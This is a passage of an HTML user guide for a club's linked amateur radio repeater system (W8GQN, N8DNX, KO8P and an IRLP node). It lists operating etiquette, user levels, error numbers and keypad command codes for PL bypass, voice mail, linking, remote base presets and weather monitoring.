+ <TR><TH ALIGN="left" VALIGN="top">Backup Power:</TH> <TD>Heart Interface 1KW Power Inverter</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Batteries:</TH> <TD>4 200 AH Sealed</TD></TR>
+</TABLE>
+<P>
+All systems are open for general use. A PL tone of 110.9 Hz is generally required on the W8GQN VHF repeater
+to avoid interference with another nearby repeater. There is, however, a bypass code (*00) that will
+temporarily remove the PL tone requirement and permit access by users who don't have PL tone capability.
+Users are encouraged to use this code and distribute it freely.
+<P>
+Many features of these repeaters are available for use by anyone within range of the repeater and there is
+on-line help available to assist users with those features. Other features are available only to registered users.
+Registration is not intended to restrict use of those features, but rather to enable use of those features.
+Registered users are encouraged to demonstrate those features for others and may activate and operate them
+for non-registered and transient users.
+<P>
+The system has been designed and programmed to be as easy to use as possible. It is, however, still a
+work-in-progress and users are encouraged to ask questions and suggest changes and improvements. Questions and
+suggestions should be submitted to Chuck Scott N8DNX via E-Mail at <A HREF="mailto:info@n8dnx.org">info@n8dnx.org</A>.
+<P>
+<A NAME="Etiquette"></A>
+<H2>Repeater Operation and Etiquette</H2>
+<P>
+Users should keep in mind the following items when using these repeaters.
+<P>
+<UL>
+ <LI>Keep transmissions relatively short. The repeater will timeout after 3 minutes.</LI>
+ <LI>Wait for the "courtesy beep" before starting your transmission.</LI>
+ <LI>Users who want to break into a conversation should simply say "Break" prior to the courtesy beep.</LI>
+ <LI>Users who want to break into a conversation with priority or emergency traffic should say
+ "Break, Break, Break" prior to the courtesy beep, then wait to make sure their priority transmission
+ doesn't "double" with another users transmission.</LI>
+ <LI>Emergency and health and welfare traffic always have priority over other communications.</LI>
+ <LI>It is common courtesy to permit other users to join a conversation.</LI>
+ <LI>It is impolite to break into an ongoing conversation for the purpose of initiating a separate conversation with another station.</LI>
+ <LI>It is impolite (and frankly illegal) to "kerchunk" (key up) the repeater without ID'ing.</LI>
+ <LI>Users should not acknowledge, intimidate or otherwise argue with any user who intentionally interferes
+ with or attempts to disrupt repeater operations. Please report all such offenses to a system operator
+ or club officer via telephone or on another frequency.</LI>
+ <LI>Always be polite, courteous and helpful to all other users of the repeater.</LI>
+</UL>
+<P>
+<A NAME="Security"></A>
+<H2>Registered User Security</H2>
+<P>
+Registered users are issued a "User Number" and a "Pass Code". Your user number is public information. It
+enables other users to send you private voice mail over the repeater. Your pass code is not public information
+and you should not share it with other users of the repeater. If you believe that someone else has decoded your
+pass code and may be using it, the system operator can issue you a more secure type of pass code that can't be
+determined by monitoring your transmissions on the input frequency.
+<P>
+<A NAME="Help"></A>
+<H2>On-Line Help System</H2>
+<P>
+The repeater system has an "on-line" help system that lists many of the more common commands user may need.
+The help system is divided into a number of sections including system description and general help, and individual
+descriptions for each logical group of commands. User may enter "999" to access the main system information and help
+overview message. All system information and help messages are "polite announcements" in that they stop when the
+repeater receives a transmission. This permits a user to stop the transmission as soon as they've heard the information
+of interest by briefly keying their transmitter.
+<P>
+<A NAME="Commands"></A>
+<H2>User Command Descriptions</H2>
+<P>
+All user commands are entered using the numeric keypad on your radio while you're transmitting into the repeater. Not
+all commands are can be used by all users. The "User Level Required" field in the command descriptions below indicates
+the user level required to execute each command.
+<P>
+Before you can execute any command that requires user level 1 or higher, you must first log into the repeater using
+your user number and pass code (see command 71). You do not need to log into the repeater to use any level 0 command.
+<P>
+Each registered user is assigned a "User Level". The user level you are assigned depends on whether or not you are a
+Remote Base user or if you are a control or system operator. If you are a Remote Base user, your user level is
+determined by the class of your Ham Radio license.
+<P>
+<DL><DD><TABLE BORDER="0">
+ <TR><TH ALIGN="left">User Level</TH> <TH ALIGN="left">Description</TH></TR>
+ <TR><TD>0</TD> <TD>All users, no user registration or user number/pass code are required.</TD></TR>
+ <TR><TD>1</TD> <TD>Registered user</TD></TR>
+ <TR><TD>2</TD> <TD>Technician Class Remote Base users</TD></TR>
+ <TR><TD>3</TD> <TD>General Class Remote Base users</TD></TR>
+ <TR><TD>4</TD> <TD>Advanced Class Remote Base users</TD></TR>
+ <TR><TD>5</TD> <TD>Extra Class Remote Base users</TD></TR>
+ <TR><TD>6</TD> <TD>Control Operators</TD></TR>
+ <TR><TD>7</TD> <TD>System programming</TD></TR>
+</TABLE></DL>
+<P>
+The curly braces "{" and "}" in a Command Code indicate that the user is to include other variable digits along
+with the command. For example, the command ...
+<DL>
+ <DD>* {PhoneNumber}</DD>
+</DL>
+...indicates that the user should press "*" followed by the desired phone number.
+<P>
+Entering an incorrect command code, attempting to enter a command from a repeater port on which the command is
+not available, or entering a command you are not authorized to use, may result in either no response from the
+repeater or an error message. While some error messages are given by voice announcement, most error messages are
+given by number. The following table lists possible numeric error messages and their meaning.
+<P>
+<DL><DD><TABLE BORDER="0">
+ <TR><TH ALIGN="left">Error Number</TH> <TH ALIGN="left">Description</TH></TR>
+ <TR><TD>Error 200</TD> <TD>Command not found</TD></TR>
+ <TR><TD>Error 201</TD> <TD>Too few data digits entered</TD></TR>
+ <TR><TD>Error 202</TD> <TD>Too many data digits entered</TD></TR>
+ <TR><TD>Error 203</TD> <TD>ncorrect number of digits entered</TD></TR>
+ <TR><TD>Error 204</TD> <TD>Command not allowed from this repeater input</TD></TR>
+ <TR><TD>Error 205</TD> <TD>You do not have permission to use this command</TD></TR>
+ <TR><TD>Error 210</TD> <TD>Incorrect digits entered for this command</TD></TR>
+ <TR><TD>Error 212</TD> <TD>Bad Autopatch Number</TD></TR>
+ <TR><TD>Error 213</TD> <TD>General Autopatch error</TD></TR>
+ <TR><TD>Error 214</TD> <TD>User log-in is disabled</TD></TR>
+ <TR><TD>Error 215</TD> <TD>Digital Voice Recorder is busy</TD></TR>
+ <TR><TD>Error 217</TD> <TD>Bad command entered in Remote Base mode</TD></TR>
+</TABLE></DL>
+<P>
+<TABLE BORDER="0">
+ <TR><TH ALIGN="left" COLSPAN="2"><A NAME="MainHelp"></A>
+ <P><U>System Information and Help Messages</U> <P></TH></TR>
+ <TR><TH ALIGN="left" VALIGN="top" WIDTH="150">Command:</TH> <TD>Announce system description and help system overview</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Command Code:</TH> <TD>999</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Main system description and help system overview voice announcement. This is a "polite" command.
+ <P>
+ Additional help announcements are available using the following codes.
+ <P>
+ <DL>
+ <DD>29 Voice mail and bulletin announcement commands
+ <DD>39 Intra-System linking commands
+ <DD>49 Inter-System linking commands
+ <DD>59 Remote Base commands
+ <DD>69 Weather Radio commands
+ <DD>79 User Access commands
+ <DD>89 Test commands
+ <DD>99 System Status commands
+ </DL>
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="PL"></A>
+ <P><U>PL Access Commands</U> <P></TH></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Bypass PL Decode requirement on VHF repeater for 15 minutes</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>*00</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command turns off the PL tone access requirement for the VHF repeater and
+ permits access by stations that can't transmit the 110.9 Hz PL tone normally required
+ to access the VHF repeater. After 15 minutes, PL access is automatically reinstated.
+ You do not need to transmit the 110.9 Hz PL tone to enter this command, thus stations
+ without PL can issue this command and access the repeater without assistance.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="VoiceMail"></A>
+ <P><U>Voice Mail and Bulletin Commands</U> <P></TH></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Check for public voice mail</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>20</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Instructs the repeater to announce if there are any public voice mail messages available
+ to be read. If there are, the repeater will announce who those messages are for. If
+ there is more than one message, the sequence the repeater announces who they are for will
+ determine the number you will need to use to play a particular message using command code 21.
+ After listening to your message, you can delete that message using command code 22.
+ <P>
+ For example...
+ <UL>
+ <LI>You enter command code 20
+ <LI>The repeater responds with "There is mail for, N8DNX, N8JBO"
+ <LI>Since it announced N8JBO second, you use command code "21 2" to listen to the message.
+ <LI>You then enter command code "22" to erase the message you just heard.
+ </UL>
+ Since the public voice mail commands do not require a user level above 0,
+ they can be used by any repeater user without any need to be "registered" or to log into the repeater.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Retrieve a Publc mail message</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>21 {MessageNumber}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to play a particular public mail message.
+ <P>
+ See command code 20 for an example of using this command.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Erase a Public mail message</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>22</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Erase the public mail message that has just been played. For this command to work,
+ you must enter it immediately after listening to the message using command code 21.
+ <P>
+ See command code 20 for an example of using this command.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Record a Public mail message</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>23</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Record a public mail message for another repeater user. After you enter this command,
+ the repeater will ask you who the message is for and then to record your message.
+ <P>
+ For example...
+ <UL>
+ <LI>You enter command 23
+ <LI>The repeater says "Who is your message for?"
+ <LI>You key your transmitter and say only "N8JBO"
+ <LI>The repeater comes back and says "Please record your message."
+ <LI>You key your transmitter and state your message for the other repeater user.
+ <LI>The repeater comes back and says "Your message is stored."
+ </UL>
+ <B>Note:</B> There is a limited amount of time available for all recorded messages in
+ the repeater. Please keep your message short.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Play Private Mail Messages</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>24 {User #}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Registered users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command code to play any private mail that has been left for you. Don't forget
+ to include your user number after the command code 24. Your user number is the three digit
+ number you used to log into the system.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Erase Private Mail Messages</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>25</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Registered users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command code after listening to your private voice mail to erase it.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Record a Private Voice Mail Message</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>26 {User #}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Registered users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command code to record private voice mail for another user. Using this command
+ is similar to command code 23. Enter command code 26 followed by the user number of the
+ user for whom you wish to leave voice mail, wait for a courtesy tone, then key up and say your message.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Play any available SAARC club bulletins</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>27</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command code to play a recorded SAARC club bulletin. The W8GQN VHF repeater will
+ announce when such bulletins are available.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Play any available N8DNX repeater bulletin</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>28</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command code to play a recorded N8DNX repeater bulletin. The N8DNX UHF repeater
+ will announce when such bulletins are available.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>On-Line help for Voice Mail and Bulletin commands</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>29</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command plays a brief polite voice message describing Voice Mail and Bulletin commands.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Intra"></A>
+ <P><U>Intra-System Linking Commands</U> <P></TH></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn off current link</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>30</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users (set to permit turning links off after login timeout)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command code will turn off linking initiated using command codes 31 through 36.
+ <P>
+ <B>Complex Intra-System Linking</B>
+ <P>
+ An interesting aspect of the Intra-System linking commands is that they are "cumulative". In
+ other words, you can choose to monitor or link to more than one other part of the system at the
+ same time from the repeater you're currently using. Also, command code 30 will turn off any and
+ all linking to other parts of the system from the current repeater. As a result, an advanced user
+ can link several parts of the system together at one time. (Note that the tail message will only
+ repeat the last link established.)
+ <P>
+ One curious thing is that linking to one part of the system that is linked to another part does
+ not mean that all 3 parts are linked together. For example, if the N8DNX repeater is currently
+ linked to KO8P and you, as a user of the VHF repeater, link the W8GQN repeater to the N8DNX repeater,
+ you will not be linked to the KO8P repeater. In essence, you could talk to people on the N8DNX repeater and people on the N8DNX
+ could talk to people on the KO8P repeater, but you couldn't talk to people on the KO8P repeater.
+ <P>
+ Assuming the situation where you wanted the W8GQN and N8DNX repeaters linked together and both
+ of them also linked to KO8P, how would you do this?
+ <OL>
+ <LI>Enter 32 from the W8GQN repeater to link to N8DNX
+ <LI>Enter 36 from the W8GQN repeater to link to KO8P
+ <LI>Enter 36 from the N8DNX repeater to link to KO8P
+ </OL>
+ To drop all of the links simply enter 30 from both the W8GQN and N8DNX repeaters. Note that
+ entering 30 on the N8DNX repeater will drop the links to both KO8P and the W8GQN repeater at the same time.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Monitor W8GQN VHF repeater from current repeater</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>31</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Login Required</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command code will cause any transmissions received by the on the W8GQN VHF
+ repeater to be transmitted on the repeater you are currently using. The W8GQN repeater will
+ not transmit any transmissions received on the repeater you are currently using. Use this command
+ to monitor activity on the W8GQN repeater without interfering with a conversation on that repeater.
+ An occasional tail message will indicate that this is active.
+ <P>
+ <B>Note:</B> This command is makes no sense for, and is not available from the W8GQN repeater.
+ <P>
+ Use command code 32 to establish a two-way link to the VHF repeater.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Link to the VHF W8GQN repeater from the current repeater</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>32</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Login Required</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command code establishes a two-way link to the W8GQN repeater. Use this command
+ to effectively link both repeaters together so that users of both the W8GQN VHF repeater and
+ the repeater your are currently using can engage in a conversation together. An occasional tail
+ message will indicate that this is active.
+ <P>
+ <B>Note:</B> This command is makes no sense for, and is not available from the W8GQN repeater.
+ <P>
+ Use command code 31 to monitor the W8GQN repeater's activity before using this command.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Monitor N8DNX (442.375) from current repeater</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>33</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Login Required</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command code will cause any transmissions received by the on the N8DNX repeater
+ to be transmitted on the repeater you are currently using. The N8DNX repeater will not
+ transmit any transmissions received on the repeater you are currently using. Use this command
+ to monitor activity on the N8DNX repeater without interfering with a conversation on that
+ repeater. An occasional tail message will indicate that this is active.
+ <P>
+ <B>Note:</B> This command is makes no sense for, and is not available from the N8DNX repeater.
+ <P>
+ Use command code 34 to establish a two-way link to the N8DNX repeater.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Link to the N8DNX repeater (442.375) from the current repeater</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>34</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Login Required</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command code establishes a two-way link to the N8DNX repeater. Use this
+ command to effectively link both repeaters together so that users of both the N8DNX repeater
+ and the repeater your are currently using can engage in a conversation together. An occasional
+ tail message will indicate that this is active.
+ <P:
+ <B>Note:</B> This command is makes no sense for, and is not available from the N8DNX repeater.
+ <P>
+ Use command code 33 to monitor the N8DNX repeater activity before using this command.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Monitor KO8P reater (443.375) from current repeater</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>35</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Login Required</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command code will cause any transmissions received by the on the KO8P repeater
+ to be transmitted on the repeater you are currently using. The KO8P repeater will not
+ transmit any transmissions received on the repeater you are currently using. Use this command
+ to monitor activity on the KO8P repeater without interfering with a conversation on that
+ repeater. An occasional tail message will indicate that this is active.
+ <P>
+ <B>Note:</B> This command is makes no sense for, and is not available from the KO8P repeater.
+ <P>
+ Use command code 36 to establish a two-way link to the KO8P repeater.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Link to the KO8P repeater from the current repeater</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>36</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Login Required</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command code establishes a two-way link to the KO8P repeater. Use this
+ command to effectively link both repeaters together so that users of both the KO8P repeater
+ and the repeater your are currently using can engage in a conversation together. An occasional
+ tail message will indicate that this is active.
+ <P>
+ <B>Note:</B> This command is makes no sense for, and is not available from the KO8P repeater.
+ <P>
+ Use command code 35 to monitor the KO8P repeater activity before using this command.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Send Command to IRLP</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>38 {Node#}<BR>
+ 38 73<BR>
+ 38 {Command}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command is unusual in that it has several uses. Since you can't send
+ commands to the node computer without first linking to it, and since once you've linked to the
+ node computer there's no sense in linking to it again, there is no practical confusion between
+ these two uses. An occasional tail message will indicate that this is active (sends "I T" in
+ morse code for "IRLP Transmit").
+ <P>
+ <B>Use 1:</B> Connect to another IRLP node
+ <P>
+ Enter this command followed by a 4 digit command to the IRLP node computer to control the
+ IRLP system. (Note that all IRLP node numbers are now 4 digits. Use the "38 73" command to
+ disconnect from any IRLP node.)
+ <DL>
+ <DD>38 4460 - Connect to the Southfield node
+ <DD>38 73 - Disconnect from the Southfield node
+ </DL>
+ Use "38 73" to disconnect from a node (see below).
+ <P>
+ <B>Note:</B> Access to the IRLP node is now allowed by all users-login is no longer required.
+ <P>
+ <B>Use 2:</B> Disconnect from any currently connected IRLP node
+ <P>
+ Simply enter "38 73" to disconnect from any IRLP node. (73...get it?)
+ <P>
+ <B>Use 3:</B> Special IRLP Node Commands
+ <P>
+ Below are some special commands available using the IRLP node computer. These do not connect
+ to other IRLP nodes. Instead the perform functions local to the IRLP computer, such as playing
+ an ARRL News recording.
+ <DL>
+ <DD>38 73 - Disconnect from any IRLP node or stop playing messages listed below
+ <DD>38 0001 - Play most recent ARRL News
+ <DD>38 0002 - Play most recent Amateur Radio Newsline
+ <DD>38 0003 - Play This Week in Amateur Radio
+ <DD>38 0101 - Play Pelston Airport Weather (updated hourly)
+ <DD>38 0102 - Play stats from most receint IRLP connection
+ <DD>38 0103 - Play current propagation report
+ <DD>38 0113 - Play Solar X-Ray flux report for GEOS satellites
+ <DD>38 0104 - Play list of nearby APRS stations
+ <DD>38 0105 - Play status of 5.8 GHz wireless network feed
+ <DD>38 0199 - Play a silly message
+ </DL>
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>On-Line help for Intra-System Linking commands</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>39</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command plays a brief polite voice message describing Intra-System Linking commands.
+ <P>
+ </TD>
+ </TR>
+
+
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Preset"></A>
+ <P><U>Preset Remote Base Linking Commands</U> <P></TH></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn off link to remote base</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>40</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command is used to disconnect from a preset remote base link.
+ <P>
+ Preset links are those for which the operating parameters (such as frequency, mode, offset, and
+ PL), are predefined. Preset remote base links permit quick access to those frequencies without
+ having to go through the process of setting all necessary parameters. A list of these presets
+ is included below. (See commands starting at 400.)
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Toggle preset remote base link between Receive and Transmit/Receive</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>41</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to switch from receive-only mode to transmit and receive mode while using
+ one of the preset remote base links.
+ <P>
+ The default mode when you first enable a preset remote base link is receive only. You will need to
+ use this command before you can talk to another station using the remote base preset.
+ <P>
+ Always listen on the remote base before selecting transmit/receive mode. If you are experiencing
+ interference on the local repeater, disconnect from the remote base to avoid causing interference
+ to stations on the frequency to which the remote base is tuned.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Preset Remote Base Links</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>400 through 499</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - Login Required</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ The following is a list of preset remote base configuration commands. Enter one of these
+ commands to configure the remote base to the listed frequency and mode and to monitor traffic
+ on that frequency. Use command code 41 to switch to transmit/receive mode after first monitoring
+ the selected frequency.
+ <P>
+ <B>Note:</B> Transmitting on the remote base is, in general, restricted to users who are
+ licensed for the remote base frequency being used.
+ <P>
+ Command Preset Configuration
+ <DL>
+ <DD>400 - 146.740 Repeater (Cheboygan)
+ <DD>410 - 29.6 FM Simplex
+ <DD>450 - WWV on 10 MHz
+ </DL>
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>On-Line help for Preset Remote Base Linking Commands</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>49</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command plays a brief polite voice message describing Preset Remote Base Linking Commands.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Remote"></A>
+ <P><U>General Remote Base Operation</U> <P></TH></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn on the Remote Base system</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>50</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>2 through 5 (depending on class of license)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command turns on the remote base system. A full explanation of the remote base system and
+ its operation is included in a separate document titled "Remote Base Operation Manual" (issued
+ to authorized users at the time they sign up for use of the remote base).
+ <P>
+ You must use this command to turn on the remote base before entering any remote base commands.
+ Once the remote base has been turned on, you will only be able to use the remote base commands
+ and will have to turn off the remote base system before running any normal repeater commands.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>On-Line help for enabling the Remote Base</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>59</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command plays a brief polite voice message describing enabling the Remote Base system.
+ No on-line help is available for operation of the remote base. Please be sure to carry with you
+ at least the "Short Form Remote Base Operation Guide" when operating the remote base.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Weather"></A>
+ <P><U>Weather Alert and Monitoring Commands</U> <P></TH></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Monitor Weather Receiver for 2 Minutes</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>60</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command plays the weather receiver over the current repeater for up to 2 minutes. The
+ weather receiver is pre-tuned to a local NOAA weather transmitter and will automatically switch
+ to a backup channel should the local weather transmitter fail.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn off Weather Receiver</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>61</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to stop monitoring the weather receiver. You may use this command if you
